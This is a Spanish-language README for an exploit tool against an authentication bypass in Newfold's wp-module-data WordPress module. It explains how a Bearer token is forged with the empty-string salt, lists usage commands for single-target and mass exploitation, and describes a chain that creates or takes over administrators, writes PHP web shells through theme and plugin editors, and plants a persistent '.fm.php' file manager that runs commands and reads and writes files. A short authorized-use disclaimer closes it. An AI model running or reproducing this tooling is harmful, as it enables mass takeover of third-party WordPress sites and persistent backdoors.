Complementos de Newfold (wp-module-data <= 2.9.7) No autenticado
Bypass de autenticación no autenticado y exploit de RCE dirigido a plugins de WordPress de Newfold que incluyen wp-module-data.
Esta herramienta explota un fallo de validación de token Bearer en el módulo wp-module-data de Newfold. Cuando un sitio de WordPress que usa un plugin de Newfold afectado no está conectado a Hiive, HiiveConnection::get_auth_token() devuelve false. Este valor pasa por strrev() y luego se hashea, colapsando la sal secreta a la constante pública:
sha256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Debido a que todos los demás componentes del payload hasheado (método HTTP, URL de la solicitud, cuerpo de la solicitud, timestamp) están totalmente controlados por el atacante, se puede calcular un token Bearer válido sin conexión. El filtro vulnerable se ejecuta en rest_authentication_errors, por lo que un token falsificado autentica al llamador como el para toda la API REST de WordPress, incluidas las rutas del núcleo. Ese acceso se aprovecha después para lograr ejecución remota de código completa.
| Plugin / Módulo | Versiones afectadas | Parcheado |
|---|---|---|
| wp-module-data | <= 2.9.7 | 2.9.8 |
| bluehost-wordpress-plugin | <= 4.19.0 | n/a |
| hostgator | <= 3.2.0 | n/a |
| web | <= 2.3.5 | n/a |
| crazy-domains | <= 2.5.2 | n/a |
La detección también cubre los slugs de plugins de WordPress.org wp-plugin-web y crazy_blog.
En vendor/newfold-labs/wp-module-data/includes/Data.php:
public function authenticate( $errors ) { // hooked on rest_authentication_errors
...
$data = array(
'method' => $_SERVER['REQUEST_METHOD'],
'url' => Url::getCurrentUrl(),
'body' => file_get_contents( 'php://input' ),
'timestamp' => dataGet( getallheaders(), 'X-Timestamp' ),
);
$hash = hash( 'sha256', wp_json_encode( $data ) );
$salt = hash( 'sha256', strrev( HiiveConnection::get_auth_token() ) );
$is_valid = hash( 'sha256', $hash . $salt ) === $token;
if ( $is_valid ) {
... wp_set_current_user( <first administrator> ); return true;
}
}
En un sitio no conectado, strrev(false) se convierte en strrev(''), lo que produce '', y la sal pasa a ser el hash bien conocido de la cadena vacía. Todas las demás entradas de la cadena de hash están controladas por el atacante, por lo que el token es totalmente predecible.
newfold-data/v1/verify/<hex>GET /wp/v2/users/me e inspeccionando los roles404.php / index.php.fm.php persistente opcional colocado en el webrootwp-login.php) y inicio de sesión clásico mediante formulario en wp-login.phprequestsurllib3 (opcional, solo para suprimir advertencias de TLS)Instalar dependencias:
pip install requests urllib3
Detección de solo lectura y verificación del bypass:
python3 exploit.py -u https://target.example
Cadena completa hasta una shell persistente:
python3 exploit.py -u https://target.example --mode rce
Restablecer la contraseña del primer administrador en lugar de crear uno nuevo:
python3 exploit.py -u https://target.example --mode rce --takeover
Solo comprobación sobre una lista de objetivos:
python3 exploit.py --list targets.txt
Cadena completa en cada host vulnerable (requiere opt-in explícito):
python3 exploit.py --list targets.txt --mode rce --apply-rce
Pre-filtrar usando sondas de activos estáticos antes de tocar la API REST:
python3 exploit.py --list targets.txt --brand-filter
Detenerse tras los primeros N hosts vulnerables:
python3 exploit.py --list targets.txt --stop-after 5
Reanudar una ejecución anterior:
python3 exploit.py --list targets.txt --resume
| Flag | Descripción |
|---|---|
-u, --url | URL base de un único objetivo |
--list | Archivo que contiene una URL de objetivo por línea |
--mode | check (solo detectar) o rce (cadena completa); por defecto check |
--takeover | Restablecer la contraseña del primer admin en lugar de crear un nuevo admin |
--output | Ruta de salida JSONL para el modo masivo; por defecto cve_2026_80099_results.jsonl |
--vuln-list | Lista de URLs sin formato de hosts vulnerables; por defecto vuln.txt |
--threads | Número de workers para el modo masivo; por defecto 20 |
--timeout | Tiempo de espera de solicitud en segundos; por defecto 15 |
--fast-timeout | Tiempo de espera de sonda rápida en segundos; por defecto 6 |
--retries | Intentos de reintento por solicitud; por defecto 1 |
--proxy | URL del proxy HTTP(S) |
--all-out | Escribir todas las filas del modo masivo, no solo las vulnerables |
--apply-rce | Ejecutar la cadena de RCE en hosts vulnerables en modo masivo |
--brand-filter | Pre-filtrar usando activos estáticos de plugins de Newfold |
--stop-after | Detener el escaneo masivo tras N hosts vulnerables; 0 significa ejecutar todos |
--quiet | Deshabilitar las líneas de progreso por objetivo |
--resume | Añadir a la salida y omitir objetivos ya presentes |
Una vez confirmado un contexto de administrador, la herramienta intenta tres técnicas en orden:
Shell mediante el editor de temas — escribe un pequeño payload PHP en el 404.php o index.php del tema activo. El payload se activa solicitando cualquier URL inexistente (para 404.php) o la raíz del sitio (para index.php).
Shell mediante subida de plugin — construye un ZIP que contiene un plugin mínimo, lo sube mediante wp-admin/update.php?action=upload-plugin y accede directamente al archivo PHP del plugin.
Cadena mediante el editor de plugin inactivo — lista los plugins mediante la API REST, selecciona uno inactivo, escribe una cmd-shell en su archivo principal mediante plugin-editor.php, lo activa mediante PUT /wp/v2/plugins/<slug>, activa la shell en cualquier URL del frontend, coloca .fm.php en el webroot y luego desactiva el plugin y restaura el archivo original. Esta ruta está diseñada para sobrevivir a hosts que bloquean el editor de temas, bloquean el acceso directo a wp-content o revierten las ediciones mediante comprobaciones de salud por loopback.
Si tiene éxito, se coloca un gestor de archivos .fm.php persistente en el webroot. Admite:
?cmd=<shell command>?cat=<path> para leer un archivo?put=<path>&data=<base64> para escribir un archivo?ls=<path> para listar un directoriocve_2026_80099_results.jsonl — registros JSONL para cada objetivo escaneado. Las entradas vulnerables incluyen vuln: true, admin, admin_id y, cuando la RCE tiene éxito, shell (la URL del gestor de archivos o shell colocado).vuln.txt — una URL sin formato por línea para cada objetivo vulnerable o con shell.trust_env = False para evitar filtrar escaneos masivos a través de proxies locales.Url::getCurrentUrl(). La solicitud se prepara primero y el token se deriva de la URL preparada.json_encode, incluidas las barras inclinadas escapadas, el escape de no ASCII \uXXXX y los pares suplentes UTF-16 para caracteres astrales, de modo que el payload hasheado coincide byte a byte.401 normalmente significa que el objetivo está parcheado (módulo >= 2.9.8), que el sitio está conectado a Hiive (token real, sal desconocida) o que un intermediario elimina la cabecera Authorization. Un 403 normalmente indica que otro filtro de rest_authentication_errors interfirió.Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas e investigación. Úsela exclusivamente contra sistemas que posea o para los que tenga permiso escrito explícito de probar. El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones y puede dar lugar a severas sanciones civiles y penales. El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este software.